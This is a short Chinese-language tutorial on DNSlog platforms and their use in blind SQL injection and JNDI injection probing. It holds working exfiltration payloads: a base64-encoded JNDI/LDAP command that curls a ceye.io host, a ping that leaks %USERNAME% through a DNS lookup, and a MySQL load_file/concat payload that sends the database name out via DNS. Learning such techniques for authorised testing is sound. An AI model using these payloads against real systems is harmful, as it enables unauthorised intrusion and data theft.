dnslog平台利用
什么是DNSlog?
DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录
三个常见的DNSLog平台:
DNSLOG利用场景?
sql注入时, 存在盲注或者延时,目标站点什么也不显示,无法确定,就可以使用DNSLOG获取回显。
JNDI注入攻击时,可以利用dnslog进行漏洞探测,判断是否存在漏洞。
ceye平台使用
通过web访问dnslog域名
或通过执行命令
curl http://xxxx.ceye.io/abc
对命令进行base64编码,使用base64编码执行Basic/Command/Base64/编码后的命令
ldap://192.168.88.130:1389/Basic/Command/Base64/Y3VybCBodHRwOi8vYjE4Mm9qLmNleWUuaW8veHh4
查看http请求记录
ping请求
ping %USERNAME%.b182oj.ceye.io
查看dns 请求记录
eyes平台使用
通过web访问dnslog域名
访问生成的子域名
http://xxxx.eyes.sh/
同理,通过执行命令触发
curl http://xxx.eyes.sh/
webLog 查看记录
DNSLOg 带外注入
DNSlog外带原理:
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
使用步骤:
利用条件:secure_file_priv参数为空
show variables like '%secure%'
该参数的值的含义如下:
-
当secure_file_priv为空,就可以读取任意文件
-
当secure_file_priv为特定的某个位置,那么就只能读取该位置的文件,如"D:"
-
当secure_file_priv为NULL,load_file函数就不能加载文件。
利用方法:
select load_file(concat('\\\\',(select database()),'.yx11h9.ceye.io\\abc'));